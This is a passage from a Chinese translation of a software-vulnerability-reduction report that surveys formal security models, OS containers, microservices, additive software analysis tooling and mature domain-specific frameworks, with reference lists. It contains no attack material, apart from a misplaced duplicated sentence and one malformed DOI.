[Chapman14] Roderick Chapman and Florian Schanda, “Are We There Yet? 20 Years of Industrial Theorem Proving with SPARK,” in Proc. Interactive Theorem Proving: 5th International Conference, ITP 2014, Held as Part of the Vienna Summer of Logic, VSL 2014, Vienna, Austria, July 14-17, 2014. Gerwin Klein and Ruben Gamboa, Eds., Lecture Notes in Computer Science, Vol. 8558, Springer, 2014, pp. 17-26, https://doi.org/10.1007/978-3-319-08970-6_2.
[Voas16a] Jeffrey Voas and Kim Schaffer, “Insights on Formal Methods in Cybersecurity,” IEEE Computer, Vol. 49, Issue 5, May 2016, pp. 102–105, https://doi.org/10.1109/MC.2016.131. 7 位形式化方法专家的立场.
[Voas16b] Jeffrey Voas and Kim Schaffer, “What Happened to Formal Methods for Security?”, IEEE Computer, Vol. 49, Issue 8, August 2016, pp. 70-79, https://doi.org/10.1109/MC.2016.228. 同上述 7 位专家的关于形式化方法的后续圆桌会议.
[Woodcock09] Jim Woodcock, Peter Gorm Larsen, Juan Bicarregui and John Fitzgerald, “Formal Methods: Practice and Experience,” ACM Computing Surveys, Vol. 41, Issue 4, October 2009, pp. 1-36, https://doi.org/10.1145/1592434.1592436.

2.2 系统层级的安全性

当软件被执行时，用于该运行着的软件的系统上下文定义了可用于该软件的资源、访问这些资源所需的 API，以及软件可以如何访问外部实体（以及被它们访问）。系统上下文的这些方面可能会强烈影响以下内容：软件包含漏洞的可能性（例如复杂或者有 bug 的 API 将会增加这种可能性）、攻击者利用漏洞的可能性（例如系统服务越容易从外部接触，这种可能性就越大），以及攻击可能具有的影响（例如，对于系统资源和具体任务成本的损害）。

长期以来，系统设计者的目标之一是设计出对于攻击具有抵抗力，并且对于程序和用户都能强制实施理想的安全策略的系统。自 1965 年开始的多任务信息与计算系统（Multics）[Corbato65] 结合了若干种理念（例如虚拟内存、多进程和内存段等）以实现一种计算工具，它能够保护信息以防止非授权访问。自 20 世纪 70 年代开始，若干种安全策略模型被引入以使得系统层级的安全责任形式化。在 1976 年，Bell-LaPadula（BLP）模型 [Bell76] 提供了关于保护分级信息的强制安全性的形式化表达：BLP 模型允许“高”（例如 SECRET（机密））进程访问“低”（例如 UNCLASSIFIED（未分级））信息以获得可用性，但是禁止“低”进程访问“高”信息。 Goguen 和 Meseguer 的无干扰模型解释了间接信息流，又称为隐秘信道 [Goguen84]。Biba 的完整性模型表述了关于完整性的强制安全性：它禁止可能是恶意（低完整性）的数据被高完整性的进程观察到，由此降低高完整性的进程和数据可能发生损坏的风险 [Biba71]。Boebert 和 Kain 的类型强制模型提供了一种基于表格的访问控制机制，它只允许数据被预先批准的程序转换 [Boebert85]。这些模型为理想的安全属性提供了必要的明确性，但是，在真实尺度的系统中使用这些模型为系统管理员带来了可用性的问题，并且这些模型的软件实现仍然包含可被利用的瑕疵。

在 1999 年，美国国防高级研究计划局（DARPA）启动了建立在这一理念之上的入侵容忍系统（ITS）项目，即系统可以被构建为能够继续运作，或者“容忍”哪怕是成功的攻击。随之而来的若干其他研究项目也基于此理念而构建 [Tolerant07]。由这些项目探索的基本概念包括具有冗余和多样化的组件的系统构造，它们不太可能被单一漏洞全部破坏、新的策略强制执行软件层的引入，以及用于自动恢复的诊断推理组件的应用。深入容错系统的 DARPA 研究意识到，从真实世界的系统中消除所有漏洞对于可预见的将来是不太可能实现的。这些研究展示了在红队测试中的实质性容忍（例如参见 [Chong05]），但是这些方法同样施加了显著的配置复杂度、降低的执行速度和显著增加的资源（CPU、内存等）要求。

最近的软硬件进展带来了这样的可能性，即开发出对于性能和成本都很高效的安全性强制执行和入侵容忍系统。这样的系统拥有抑制软件漏洞所能造成的危害的潜力。在硬件方面，低成本的多核处理器和系统芯片正在降低实现冗余度的成本。在与之互补的软件方面，新兴的架构结构正在带来新的机会以便将安全性和容错性构建到下一代系统中。在众多可能的结构中，两种看起来有前途的结构是操作系统容器和微服务。

2.2.1 操作系统容器

“容器是为了运行于其中的应用程序或者系统而隔离宿主的某些资源的对象。”[LXC] 从实质上讲，容器是一个非常轻量级的虚拟机，其资源（内存、硬盘和网络等）可以同宿主计算机或者其他容器进行非常灵活的共享。容器提供了独立计算机或者完整的虚拟机的某些隔离属性，但是，容器可以在商品级硬件上在几分之一秒的时间内启动。容器通常要求显著少于完整虚拟机的计算和存储资源。

基于容器的隔离可以明显减少软件漏洞的影响，如果隔离足够强。因此，获取关于容器基础设施组件（例如 Linux 内核中的控制组和名称空间）在面对恶意输入时是强壮的这一点的担保至关重要。容器用户需要对这些组件进行建模、分析、测试和验证以构建关于容器配置能够按照预期运作的担保。

尽管容器可以非常轻量和灵活，这种灵活性的代价是容器配置的复杂性，这决定了容器中的众多关键元素，诸如它如何共享其资源、它的网络栈如何配置、它的初始进程、它所能够使用的系统调用等等。尽管市场已经接受了支持共享容器配置的管理系统，诸如 Docker [Docker16]，仍然需要这样的工具和技术，它们可以分析容器配置并且确定它们能够在多大程度上降低安全风险，包括能够在多大程度上化解软件漏洞的效果。

此外，容器带来了机会以应用某些传统安全性模型以及入侵容忍技术，利用有利于效率和部署的简易度的构建块。现在有了新的机会以重新评估哪些高级安全性模型和入侵容忍技术能够成为主流技术。

更进一步地，由于容器可以围绕某个程序的单次运行而有效地封包起来，容器可以被配置为仅仅授予某个程序对资源的最小访问级别，并且由此遵守最小权限原则 [Saltzer75]。最小权限原则是关于限制软件漏洞和攻击的效果的基本原则。然而，想要具体说明某个程序所要求的最小资源这一点是众所周知地困难的。与其试图在其完整的普遍性之中求解该问题，不如采用某种策略以开发分析技术和工具，以便生成自定义的容器配置，该配置能够近似重要程序类别的最小权限。由于部署容器的相对简易性，这样的工具辅助容器能够为主流系统带来显著增加的访问控制有效性和安全性。

2.2.2 微服务

微服务描述了“一种将软件作为一套小型服务来设计的方式，每个服务运行于其自身的进程之中，并且通过轻量级的机制进行通讯。”[Fowler14] 核心的微服务理念并非最新的：它已经被人们利用网络服务以及在基于微内核的操作系统中探索过了。这些方法包括 Mach 微内核 [Rashid86]、GNU Hurd [Hurd16]，以及网络服务架构 [WSA04]。然而，微服务方法根据不同的判据来构造服务。微服务应该实现单个业务（或者任务）能力、拥有独立的刷新循环、替换起来相对简单，并且对于编程语言不可知 [Fowler14]。简而言之，每一个微服务都应该具有其自身的经济和管理意义。与此同时，微服务可能彼此依赖，这可以支持具有良好定义的模块性。

这种系统结构方式可能产生若干组件，其接口被显式定义，并且其依赖也被类似地显式定义。

随着系统运行以及控制流在微服务之间传递，有一种自然而然的激励以使得服务间通讯“批量化”，从而分担跨边界的开销。尽管这种批量化在某些情况下可能会增加延迟，它也能够简化组件间依赖，并且可能减少发生软件瑕疵的可能性，进而减少漏洞。

将软件作为微服务的集合来部署带来了一个基本问题：构建一种“可信微服务”是否有意义？更加具有雄心壮志的问题是，开发出能够作为其自身的引用监视器的微服务是否可行？引用服务器的概念始于 1972 年的 Anderson 报告 [Anderson72]，并且指的是一种系统组件，它对于其所提供的资源的所有访问进行调度。引用监视器具有以下特点：1) 总是被调用；2) 防破坏；以及 3) 经过验证（即它足够小，以便被构建为具有高度担保）。随着微服务变得越来越流行，现在可能正是时机以研究制定关于可信的或是能够作为引用监视器的微服务的判据，以及理解微服务的架构结构的安全局限性。

通过使得组件依赖和相互作用更加显式化，微服务看起来带来了新的机会以实施基于干涉的安全增强。插入到这些微服务相互作用之间的封包层将会拥有能力以增强、转换、拒绝以及监视这些相互作用。这些能力可以被用于限制来自软件漏洞的潜在危害，但是，干涉也可能导致系统不稳定并且带来性能下降。一种可能的研究介入是调查与基于微服务的系统兼容的干涉策略。微服务提倡组件之间的简化接口（例如没有通过全局状态的内存共享）。这种简化可能使得基于微服务的干涉在执行时具有较少的与稳定性相关联的效果。

2.2.3 成熟度水平

虚拟化系统可以追溯至 20 世纪 60 年代。LXC 容器形式的虚拟化始于 2008 年，并且自此处于活跃开发之中。也存在若干替代的轻量级虚拟化系统，例如 BSD Jails、OpenVZ 以及 Oracle Solaris Zones。容器已经被实质性地部署于云端和服务器上。[脚注 1]

当前的微服务术语和设计目标出现于 2014 年。早期的表述方式，诸如运行于微内核之上的任务，可以追溯至创始于 1985 年的卡内基梅隆大学的 Mach 项目。自此以后，微内核技术成为了后续研究的主题，并且被整合进了大型商业产品，尤其是苹果 OS X。

[脚注 1] 操作系统容器有助于实现某些云机制，但是云计算完全不同于操作系统容器 [Mell11]。

2.2.4 可信度的基础

基本技术已经被广泛应用，并且对于容器配置的更多自动化有着公认的需求，因此会有需求拉动。由于容器可以被非常快速地创建、测试和删除，已有确凿的证据显示关于容器配置的大范围测试可以通过半自动的方式进行。关于微服务，微服务框架的数量的增长提示该技术的流行度正在增加，并且仍然有空间以进一步丰富微服务框架，以及使得这些新增的框架被采用。同时，微服务的模块化本质可能为部署更多安全版本的微服务而不会显著干扰对用户的服务提供道路。

2.2.5 潜在影响的基本原理

操作系统容器和微服务已经是国家信息基础设施的重要组成部分。鉴于使用它们所具有的明确的可管理性、成本以及性能方面的优势，有理由期待它们的应用持续扩展。这些技术的安全增强版本一经采用，可以对软件漏洞的利用行为产生广泛的抑制效果。

2.2.6 延伸阅读

[Fowler14] Martin Fowler, “Microservices: a definition of this new architectural term,” 25 March 2014. Available: http://martinfowler.com/articles/microservices.html Accessed 13 October 2016.
[Lemon13] Lemon, “Getting Started with LXC on an Ubuntu 13.04 VPS,” 6 August 2013. Available: https://www.digitalocean.com/community/tutorials/getting-started-with-lxc-on-an-ubuntu-13-04-vps Accessed 13 October 2016.
[What] “What’s LXC?”, Available: https://linuxcontainers.org/lxc/introduction Accessed 13 October 2016.

2.3 附加软件分析技术

当前存在众多不同的工具和技术，既有开源软件又有私有软件，用于分析软件以及检查大量问题。它们中的很多可以通过诸如 Eclipse 等通用集成开发环境（IDE）来执行。但是，当前的工具面临若干种阻碍。IDE 有时并不会为工具提供某种“信息总线”以共享软件属性。每一种工具必须进行其自身的语法检查、构建其自身的抽象语法树（AST）、列出带有其范围和属性的变量，以及利用经过证明的事实或者不变量来“装饰”AST。有些工具基于通常的基础设施而构建，诸如 LLVM 或者 ROSE [Rose16]，因此它们共享代码，但是它们仍然必须重复进行大部分分析工作。此外，几乎没有标准以允许，例如，一种语法检查器被替换为运行得更快的新的语法检查器。

附加软件分析指的是一种完备的方法以解决使用多种高级软件检查工具时遇到的阻碍。附加软件分析的目标是促成高度可用的分析模块的持续积累，这些模块随着时间不断累积，以持续改进部署于软件分析中的最先进的实践。附加软件分析分为 3 部分。其一，它是有文档记载的标准以允许算法和工具交换关于软件的信息。其二，它是一个框架或者架构以允许软件担保和评估工具的模块化和分布式开发。此框架拥有类似于知识发现元模型（KDM）[KDM15] 或者在人工智能（AI）中称为黑板的功能。其三，它是概念性的方法以聚合、相关或者分析工具和算法的结果和能力。附加软件分析的一项关键输出将会是新一代面向用户的工具，它们可以便捷地将来自不同工具和技术的输出整合起来，形成关于某一软件的统一的、更加完整的评估。

完整的附加软件分析能力必须辅助工具协同工作、提供构建块以强力推动新的工具开发，以及辅助工具之间的整合和互操作性。因此，它必须包含标准、框架和技术以合并分析结果。

2.3.1 软件信息表达与交换标准

软件担保工具推导并且存储关于程序的五花八门的信息。然而不幸的是，并没有被广泛接受的标准以用于信息的精确定义或者它们可能被如何存储。由于缺少标准，开发者必须执行英雄壮举以便在不同的分析工具和算法之间忠实地交换信息。

仅仅在工具之间往返传输位几乎不会带来任何好处，除非这些位传达了被各种工具以相同方式理解的信息。例如，“error”（错误）、“fault”（故障）、“failure”（失败）、“weakness”（弱点）、“bug”和“vulnerability”（漏洞）是相互关联但是各不相同的概念。如果没有标准，一个工具报告了某个 bug，而另一个工具可以将“bug”理解为指示相对于第一个工具的评估结果更高（或者更低！）的成功攻击潜力。

例如，一系列形式化定义的信息可能对于分析某个程序是相关的：

在代码中的位置
在某个特定位置可见的变量，以及变量类型
在某个特定位置的可能的变量的值，这可能包括变量的值之间的关系，诸如 x < y
调用轨迹和路径，即到达这一点的所有可能路径
对于二进制文件和可执行文件块的源代码位置引用
可能的弱点，例如可能的 BOF [Bojanova16] 或者将要用于 SQL 查询的未经过滤并且因此受到污染的输入
断言、最弱的先决条件、切面、不变量等，以及
函数签名，包括参数类别

程序分析可以被应用于软件开发的不同阶段，并且被用于程序在不同抽象层级上的表现形式。例如，工具可以运行于程序的静态结构，诸如其 AST 之上，也可以运行于呈现数据或者控制流的表现形式之上，甚至还可以运行于编码功能行为，诸如最弱的先决条件的语义表现形式之上。我们接下来依次查看这些类别中的每一种。

抽象表示：早期的静态检查器通常不得不包括其自身的用于构建 AST 的语法检查器以进行分析。然而，编译器编写者意识到了开发具有良好的文档并且可简易访问的通用中间表示（IR）的重要性。例如，GNU 编译器 gcc 的开发团队在 4.0 版本 [GCC16] 中引入了中间语言 GENERIC，这是一种语言独立的格式，用于以若干种语言中的任何一种来呈现源程序。作为另一例子，Clang 编译器 [Clang] 提供了一种具有良好文档的 AST，它可以由第三方插件直接访问，也可以被保存为某种通用格式，诸如 JSON，以便被第三方分析工具处理。其他提供了具有良好文档的转换格式的编译器包括 Frama-C [FramaC] 和 ROSE 编译器基础设施 [Rose16]。

中间表示：工具可以对距离由编译器生成的最终可执行代码更近的中间表示（IR）执行深度分析。例如，GNU 编译器定义了 GIMPLE 格式，其中原始源程序被分割为简单的三地址语言。类似地，Clang 编译器提供了 LLVM 位代码表示，这是一种有类型的汇编语言格式，并不依附于某种特定的处理器。其他的包括通用中间语言（CIL）[ECMA12] 和 Java 虚拟机指令集或者字节码 [Lindholm15]。Vine 中间语言是一种平台独立的机器语言 [Song08]。

语义表示：用于检查功能正确性属性的工具通常需要这样一种表示形式，它比上文讨论的表示形式更加适合于表达逻辑程序属性。尽管这样的表示形式不如 AST 以及编译器 IR 那样成熟，其中的少数已经于近年获得了流行度。例如中间验证语言 Boogie [Barnett05]，它提供了诸如参数多态、全称量化和存在量化、不确定性选择，以及部分有序等特性，并且已经成为高级检查器的流行后端，既可用于诸如 C 和 C++ 等低级语言，又可用于诸如 Eiffel 和 C# 等高级面向对象语言。Boogie 程序可以被翻译为 SMT-LIB 格式 [SMTLIB15]，这允许它们被任何支持 STM-LIB 格式的定理证明器检查。将通用语言用于语义表示的另一个例子是 Datalog [Whaley05]，它已经被用于构建不同的工具以检查数组边界溢出、在多线程程序中查找竞争条件，以及检查网络应用程序安全性等。

2.3.2 工具开发框架或者架构

为了促成新工具的开发，附加软件分析要求初始构建块。关键的初始构建块是一种框架，它能够将工具或者技术的能力结合起来。正如 Eclipse 极大地促进了用于开发代码的 IDE 技术的改进那样，附加软件分析的框架将会致力于使得软件担保和测试工具的协同开发成为可能。此“框架”可以是独立的工具，也可以是某个现存 IDE 的插件或者更新。

宽泛地说，有两种用于框架的通常方法以在程序分析工具之间传递信息。第一种方法将某个检查器作为插件整合进现存的编译器工具链中。现代编译器框架，例如 gcc、Clang 和 Frama-C，使得编写新的插件变得简单。更进一步地，插件通常被允许更新某种 AST 或者中间形式，由此允许插件使得它们的分析结果对于其他插件可用。例如，Frama-C 编译器框架提供了一个插件库，它包含 use-def 和指针别名分析，这些对于编写语义分析器通常是必需的。第二种方式依赖于某种通过写入到硬盘或者通过网络发送以传递信息的通用格式。此方法的一个范例是证据性工具总线 [Rushby05]，它允许由不同厂商制造的多个分析引擎交换逻辑结论以执行高级程序分析。信息应该被附加到代码以使其成为“随码担保”[Woody16]。某种附加框架将会同时支持两种信息传输方式以便尽可能多地重复利用现有成果。

本节中所引用的框架能力专注于在工具之间交换信息，而非 2.4 节讨论的框架的开发能力。

2.3.3 分析结果合并策略

有了适当的标准和框架，我们就能够获得通过累加或者合并不同的软件分析结果所带来的额外的好处。软件分析结果可以通过 3 种通常的方式累加起来。第一种情况简单地说就是获取更多信息。假设程序员已经拥有某种工具以检查注入 bug（INJ 类）[Bojanova16]，添加一种工具以检查死锁可以为程序员提供更多信息。

第二种情况是确定性或者矛盾性。程序员可能拥有两种不同的启发式搜索以查找错误操作（FOP 类）bug [Bojanova16]，它们各自拥有独立的几率以报告真实的 FOP bug 和假阳性。此架构可以用于对两种启发式搜索的输出进行相关以得到具有较少假阳性的单一结果。与之相反，一种工具可能会宣称某个语句可到达，而另一种工具则宣称并非如此。这种矛盾性可能指示二者的假设存在差别，或者某个工具中存在错误。某种工具使用的一系列演绎规则孤立地看可能具有一致性，但是与来自另一种工具的规则并不具有一致性。

附加软件分析的第三种情况是协同作用。某个在关于内存使用和数据结构的形式化推理方面具有特长的研究小组可以在由某个专长于对二进制代码进行“语法分析”的小组开发的组件的基础之上进行开发，由此创建一种能够对二进制文件的内存使用进行推理的工具。开发者可以更加快速地对混合和符号测试担保工具进行试验。例如，某个工具可能会使用静态分析器以获得可能存在的问题的代码的位置，然后利用约束满足问题求解器和符号执行来创建能够在每一个位置触发错误的输入。

2.3.4 分析结果合并技术

一旦经过训练，这样的神经网络自身可以作为漏洞检测引擎。来自手动分析的不正确结论是时间和资源密集的。为了保证高效，上述结果合并策略必须利用适当的技术在工具中实例化。例如，Code Dx [CodeDx15] 是一种用于匹配、合并并且呈现分析工具的输出的工具。更加强大的方法是应用机器学习技术，诸如微软的认知服务和计算网络工具包，以及 Google 的 TensorFlow 等。

执行深度学习和神经网络的训练和推理阶段所必需的底层硬件的价格已经显著下降。云服务现在可以按需提供高端图形处理器（GPU）实例。这样的计算能力显著增强了机器学习算法的速度，允许利用显著增大的数据集合对其进行训练，以及实现显著加快的训练和反馈循环。那些已经搜集了大量关于漏洞、漏洞利用、恶意软件、rootkit 以及后门信息的素材的组织机构可以利用众所周知的数据科学技术挖掘这些信息以推导出新的洞察力和价值。

一旦经过训练，这样的神经网络自身可以作为漏洞检测引擎。来自人类实践者的不正确结论可以被反馈回训练阶段以自动加强算法或者网络的辨别力，并且渐进式地改进它们。这些技术拥有在宽泛的语言集合中检测漏洞的潜力，包括那些新开发出来的，尚无良好建立的分析工具的语言，并且甚至可以检测出新的漏洞类别。

这种检测能力可以增强现存的工具链。更重要地，来自其他分析工具的结果可以成为这些强大技术的训练和分析的额外的信息来源。这些同样的网络，只要得到足够的资源，在实现识别并且优先解决具有风险的组件这一相同目标的同时还能够分析大片源代码。

2.3.5 成熟度水平

大多数常用的编译器，诸如 gcc、Clang 和 Frama-C，提供了添加用于处理和更新 AST 和 IR 表示的插件的内建支持。此外，大型社区已经开发出了广泛的库和插件，并且创建了带有入门教程和参考手册的百科网站以降低新用户参与其中的门槛。对于语义表示的情况，社区规模较小并且入门门槛较高，尽管诸如 Boogie 等语言已经被若干研究小组成功地用作引擎以构建用于多种语言的检查器，诸如 C [VCC13] 和 Eiffel [Tschannen11]，甚至还可用于操作系统 [Yang10]。

有众多当前的软件信息交换系统，诸如 LLVM、ROSE、gcc 的 GENERIC 或者 GIMPLE，以及知识发现元模型（KDM）等。用于合并工具的输出的格式，诸如工具输出整合框架（TOIF）和软件担保发现表达纲要（SAFES）[Barnum12]，已经暗示了关于软件的有用知识类别。

2.3.6 可信度的基础

当今领先的静态分析工具具有低假阳性率，这已经引起了其在业界和政府组织之间的更多采用。而这反过来又激励了编译器团队以增加对于那些能够对内部程序表示进行操作的插件的支持。有一些大型并且活跃的用户社区正在为接口编写文档，以及为那些能够被合并起来以构建复杂分析器的插件创建库。确实，挑战并不在于某种附加软件分析方式能否工作，而是在于投资哪一个，以及如何将它们捆绑起来。

2.3.7 潜在影响的基本原理

早期的静态分析工具检查的主要是程序的语法属性，强制执行编码指导原则并且查找对应于简单运行时错误的结构，诸如对空指针解除引用，或者在赋值之前使用变量。随着分析器变得更加高级，它们越来越依赖于对于程序结构和数据流的更加复杂的分析。允许用户构建能够共享和合并结果的小型分析引擎的常用框架将会使得构建高级分析器成为可能。这样的分析器可以发现隐晦的错误，而这样的错误难于利用传统的测试和模拟技术来发现。

这样的框架和标准应该允许模块化和分布式的开发，并且允许现存模块被替换为更好的。它们还应该有助于不同小组的研究人员之间的协同作用。它们应该加速工具的“生态系统”的成长以及下一代“混合”工具的开发。混合工具可以使用静态分析模块来查找有问题的代码的位置，然后使用约束满足条件求解器模块和符号执行引擎来创建能够触发错误的输入。不断增长的、共享的一系列有问题的和良好的编程结构和习惯用法可以最终由工具进行检查 [Kastrinis13]。

2.3.8 延伸阅读

[Bojanova16] Irena Bojanova, Paul E. Black, Yaacov Yesha and Yan Wu, “The Bugs Framework (BF): A Structured Approach to Express Bugs,” 2016 IEEE International Conference on Software Quality, Reliability, and Security (QRS 2016), Vienna, Austria, 1-3 August 2016, https://doi.org/10.1109/QRS.2016.29.
[Kastrinis13] George Kastrinis and Yannis Smaragdakis, “Hybrid Context-Sensitivity for Points-To Analysis,” Proc. 34th ACM SIGPLAN Conference on Programming Language Design and Implementation (PLDI ‘13), 2013, pp. 423-434, https://doi.org/2499370.2462191.
[Rushby05] John Rushby, “An Evidential Tool Bus,” in Proc. 7th international conference on Formal Methods and Software Engineering (ICFEM’05), Springer, 2005, p. 36, https://doi.org/10.1007/11576280_3.

2.4 更多成熟的领域特定软件开发框架

简单地说，此方法地目标是提升经过良好测试和良好分析的代码的使用（和重复使用），并且因此减少可被利用的漏洞的发生几率。

如同在 4.3.6 节叙述的那样，将可重复使用的软件组件组织进组件库或者版本库的理念至迟可以追溯到 1968 年 [McIlroy68]。为了使得软件可以重复使用，可共享的软件组件可以被打包进一系列构建块中，例如独立程序、服务、微服务、模块、插件、函数库、框架、语言（如 2.1.4 节注释）、类，以及宏定义等。一套这样的（传统）构建块通常构成了新的软件开发努力的起点。或者更加通俗地说：几乎没有任何东西是从头创建的。因此，新的软件系统的漏洞决定性地依赖于最恰当的现存组件的选择和应用，以及新代码与传统组件之间的相互作用。

尽管代码共享的单元可能很小，例如单个函数或者宏，使用成熟、高价值的组件可以带来实质性的好处，在此，代码清洁性、领域知识和代码质量方面已经进行了大量投资。

软件框架包含代码，以及更重要地，它还定义了利用它所构建的程序的软件架构（包括默认行为和控制流）。领域特定的框架还包括领域知识，例如 GUI 构建、语法分析、网络应用程序、多媒体和计划等。成熟的领域特定框架一旦被软件开发者学习，可以使得程序的快速生产成为可能，这些程序从软件视角以及领域知识视角来看都是经过良好测试的。在最佳案例场景中，在此，成熟的框架被专家恰当地使用，有实质性的机会以避免那些可能导致可被利用的漏洞的软件错误。

然而不幸的是，这种最佳案例场景难于实现。具体地说，为了实现成熟框架所带来的好处，软件开发者必须克服若干种重大挑战。

查找适合的框架：存在着太多的框架。例如，在 2016 年九月对 github.com 进行简单的搜索，即显示了超过 171000 个版本库，在其名称或者描述字符串种包含单词“framework”（框架）。（尽管这些架构中有一些反映出了其在设计清洁性和质量方面的巨大投资，其它的则是被仓促构建的、具有不可知的来源，或者可能是恶意的。）这些框架通过范围宽泛的编程语言（PHP、JavaScript、Java、Python、C# 和 C++ 等）实现，并且众多框架使用多种编程语言。额外的复杂度来源于包管理器和构建系统的多样性，这种多样性必须被潜在的框架客户端学习。软件开发团队面临巨大挑战，而只是为了调查可能支持某个项目的要求的可能的框架；这种挑战是足够急迫的，以至于有一个项目 [TodoMVC16] 的存在完全是为了帮助开发者在可用的（模型视图）框架中作出选择，通过出于比较的目的显示一个由多种框架实现的示例应用程序。在受到调查的框架中评估其适用性是一种更进一步的挑战。众多框架在其构建进程中包括某种形式的测试，通常是单元测试 [Beck94]。这样的现存测试需要被评估其相对于某个项目的目标的充分性。一个更进一步的问题是，不同的平台提供不同的安全特性（例如访问控制列表、签名的可执行文件以及白名单等）。对于框架对某种特定平台的要求程度，选择该框架时必须考虑对于平台特定的担保特性的理解和使用。

学习新框架：Brooks 说过，软件包括了“基本”和“偶然”的信息 [Brooks95]。基本信息是关于算法和软件所必须执行的基本操作的。偶然信息是关于接口细节、编程语言的选择、在系统中为元素取的名称等等的。每一种框架都包含这两种信息，这必须在专家水平被理解，以使得框架被安全地应用于非平凡的应用程序。尽管专家可能已经知道关于某个问题领域的大部分基本信息，偶然信息不能被预期。

对于一种通用数据结构，列表的快速精读展示了这种基本的困难。列表的涵义被大部分软件开发者所熟知，但是实际创建并且使用列表数据结构所必需的信息在相互竞争的环境之间大不相同。例如 Unix 的 queue.h 宏、Java 集合、JavaScript 数组、Python 的内建列表，以及 C++ 标准模板库中的列表模板等，它们都实现了相同的基本理念，但是使用大不相同的细节。一位软件开发者对于列表的概念以及某些列表实现可能是专家，但是对于在新框架中的具体的列表实现的使用而言则可能完全是个初学者。因此，这位开发者必须花费时间以低效地学习（通常是大量的）偶然信息。如果开发者受困于计划压力而最小化这项预备工作，基于框架的初学者级别的软件可能被制造出来，它更有可能包含瑕疵和漏洞。

理解并且控制依赖：一种框架可能依赖于其他框架，由此得到的依赖传递图可能是庞大的。框架用户可能会在其依赖于可能是庞杂的框架代码的项目中轻易发现漏洞，这些代码被自动包括进来，或者通过传统的包管理器和构建系统间接包括进来。2016 年的“leftpad”事故展示了这种危险性。被重度使用的 Node 包管理器维护着不计其数的包，它们可以被 JavaScript 程序轻易地引用和使用。当一起所有权争论于 2016 年爆发时，一位开源作者从 Node 包管理器中反发布了他的超过 250 个模块。其中之一就是微小的函数“leftpad”，它向字符串中添加填充的空格或者零。数以千计的程序，有些是非常重要的，依赖于“leftpad”并且突然不能工作，直到被反发布的包再次被“反反发布”[Williams16]。

解决框架组成的不兼容性：多种框架可能不能同时应用于同一程序中，或者即使它们可以，其包含顺序或者版本可能很重要，由此导致脆弱的代码。在其他案例中，诸如 lex/yacc 代码生成工具，显式的操作是必需的，以避免名称空间冲突，进而允许框架的多个实例共存于一个程序中。这样的冲突可能是隐晦的，如同 Lampson 所指出的，每一个组件可能拥有不同的“世界观”，而 n 个组件的组合可能得出 n² 种相互作用 [Lampson04]。

这些是长期存在的挑战。更进一步地，由于当前可用于开源的框架（具有不同的来源和质量）的巨大并且仍在增长的数量，这些框架通过由诸如 GitHub、JIRA、Bitbucket、CollabNet 等版本库管理实体托管的公开版本库而可用，选择一种适合的框架的困难可能会更加急迫。然而，这种广泛的使用同样表现出了重要的机会：如果在框架如何被发现、学习、进行依赖管理和编写等方面可以取得哪怕是微小的改进，很多软件漏洞就可以被避免。

另一个显著的进展是，通过利用诸如 stackoverflow 或者 stackexchange 等软件问答网站进行复制/粘贴操作的软件开发方式（包括框架使用）成为主流。尽管基于问答的代码重复利用可能是快捷的，它也可能导致理解不良和整合不良的解决方案。获得关于提出的问题的答案和示例代码的能力可以明显地有助于开发者的理解，然而，需要技术以便在采用他人的解决方案时避免产生漏洞。

尽管这些是巨大的挑战，当前的最先进技术提供了机会以撬动现存的代码以及技能资源，同时利用新的技术和工具以增强它们。

2.4.1 快速框架采用

框架的采用很明显地受到了需要学习大量偶然信息这一点地阻碍。Gabriel 将“宜居性”定义为“使得程序员、编写代码者、修复 bug 者和人们在代码的生命后期来到该代码时能够理解其构造和意图并且舒适地以及满怀信心地更改它的源代码特征”[Gabriel96]。由于意识到了实现宜居性的挑战，Gabriel 提议使用软件结构以帮助开发者快速理解现存代码，并且标记出负面实践的使用。尽管不是一种万灵药，结构（例如 [Gamma95]）可以有助于将框架提供者和框架消费者之间的鸿沟桥接起来。有助于实现这一点的一种方式是开发一系列涵盖了流行领域的结构。2016 年九月关于 GitHub 上的前 10 名最流行（“星级”）和最多“分叉”的版本库的非正式调查显示了围绕这些方面的显著框架活动：网络应用程序开发、前端网络开发、操作系统内核、跨平台应用程序框架、虚拟机管理、编程语言和异步 http 服务器。加速其采用的一种方式是制定关于这些领域中的某些的软件结构，其焦点是协调不同框架之间的偶然信息（于是它无需被学习很多次），并且制造关于通常应用案例的文档。随后可以进行实验以测定其有效性，通过比较有和没有新的结构信息时的架构使用情况。

2.4.2 高级测试方法

除了民航（在此领域，软件被根据极其严格的美国联邦航空管理局（FAA）标准而构建和测试）的特例以外，商业软件通常只会得到最小化测试。那些将上市时间作为其至高无上的目标的行业尤其如此。测试可能被局限于只有关于必要的功能已被实现这一点的基本担保，有时被称为“快乐路径”，或者积极测试，它们展示了功能，但是并不提供关于不良行为并不存在这一点的担保。

高级测试方法坚守显著增加框架强壮度的承诺，并且更进一步地，构建关于在与依赖相关的不同假设之下的框架组成的担保。众多框架当前只采用临时安排的测试。其他一些框架则采用标准单元测试 [Beck94]，并且实践于不同的完整性级别。自动化的测试，诸如 QuickCheck [Claessen02] 或者不同的模糊工具可用于大多数语言。关于传统测试套件的覆盖度测定的最近进展提供了机会以比较框架。组合测试将大量输入值的组合压缩为少数测试 [Kuhn10]。框架可以被自定义或者配置的众多方式提示了一种在软件框架应用中获得新的可信度的可能方式。通过展示高质量的组合，这样的测试拥有潜力以强调框架的相似性，降低学习曲线并且允许经过良好测试和良好分析的代码的更宽泛的采用。

2.4.3 多框架组成中的冲突解决

在某些案例中，多种框架可能被并行使用而不会产生冲突。在其他案例中，允许并行使用的组成可能是脆弱的。居于主导的框架结构，诸如控制反转（IoC）[Busoli07]——又称为好莱坞原则：“不要调用我们，我们将会调用您，”可能会加剧这种情况，由于每一个框架可能会假设是由它在整个应用程序中定义控制流。一种化解方式是虚拟化框架操作，利用例如轻量级操作系统容器 [LXC] 并且随后在并行执行的框架之间建立通讯链接。另一种冲突解决的方式是使用软件翻译来重写框架，以使得它们的重叠元素各不相同。先期努力可以展示这些以及其他解决冲突的策略的可行性，并且比较它们的成本以及对于应用程序漏洞的影响。

2.4.4 成熟度水平

关于软件结构的文献极其广泛，并且软件测试是计算机科学中的一个相对成熟的子领域，至今已经被实践了 40 多年。框架本身现在是软件共享中的主导单元。上述 3 种技术：结构、测试和框架，正在持续的使用和详细化进程中。

2.4.5 可信度的基础

毫无疑问，可以为若干种主要框架的结构编写文档；快速的采用可能更多地是渐进式的进展而非革命性的进展，但是，渐进式的进展应该从投资流向结构文档。将会受到框架组成的影响的高级测试技术是相对成熟的，这增加了关于框架整合可以被有效测试的可信度。

